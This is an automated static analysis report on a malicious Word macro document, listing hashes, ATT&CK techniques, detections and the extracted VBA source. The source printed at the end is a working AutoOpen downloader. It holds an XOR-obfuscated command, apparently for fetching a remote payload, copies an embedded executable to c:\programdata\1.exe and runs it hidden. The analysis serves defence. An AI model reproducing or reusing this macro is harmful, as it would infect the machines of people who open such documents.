Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 884316f52ec1b6b2…

MALICIOUS

Office (OOXML)

103.6 KB Created: 2020-07-30 07:56:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: 624bd933f284cb0bbb8cd8f48e05a220 SHA-1: b532f08fea6ff52c0badb3780cddc5e7d8671f8f SHA-256: 884316f52ec1b6b276e585a01b3099260ffdd1ce4fe09fdb7ef252264e87caa6
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OOXML document containing VBA macros, specifically an AutoOpen macro that executes a payload. The script decodes a string which is then used to copy an embedded object (likely an executable) to 'c:\programdata\1.exe' and subsequently executes it using Shell. This indicates a downloader functionality, consistent with the ClamAV detection name.

Heuristics 6

  • ClamAV: Doc.Downloader.835b97208387fc57-OOXML-9981517-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.835b97208387fc57-OOXML-9981517-0
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builder\rels\dirpack2\us.jpg
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1589 bytes
SHA-256: a4baf14366fd6223c53aaba6d80b7aad4fdd3fc2ed123f355e7b0f5099166dbe
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "c"
#If VBA7 Then
Private Declare PtrSafe Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As LongPtr) As LongPtr
#Else
Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
#End If
Function HH()
HH = "c:\programdata\1.exe"
End Function
Sub autoopen()
aI = mM("24!22!31!91!84!24!91!89!8!30!15!91!14!70!14!9!23!93!93!24!26!23!23!91!56!65!39!43!9!20!28!9!26!22!63!26!15!26!39!74!85!30!3!30!91!84!94!14!94!37!24!37!26!37!24!37!19!37!30!37!91!84!29!37!91!19!15!15!11!65!84!84!11!2!75!76!73!12!28!18!12!85!24!20!22!84!25!20!23!25!84!17!26!30!21!15!85!11!19!11!68!23!70!23!18!14!15!78!85!24!26!25!91!56!65!39!43!9!20!28!9!26!22!63!26!15!26!39!74!85!15!22!11!91!93!93!91!24!26!23!23!91!9!30!28!8!13!9!72!73!91!56!65!39!43!9!20!28!9!26!22!63!26!15!26!39!74!85!15!22!11!89")
Call CopyFile(ActiveDocument.Shapes(1).Title, HH, 1)
Dim yN As New WshShell
Call yN.run(aI, 0)

End Sub

Attribute VB_Name = "w"
Function mM(Hy)
Bv = Split(Hy, "!")
For tk = 0 To UBound(Bv)
 XH = XH & Chr(Bv(tk) Xor 123)
Next tk
mM = XH
End Function
Function n8()
n8 = "util"
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16896 bytes
SHA-256: 27524d11947cf45914d865857f2d7e3199005172b3a408b400a894814596f351

Open this report in the interactive analyzer, or submit your own file for analysis.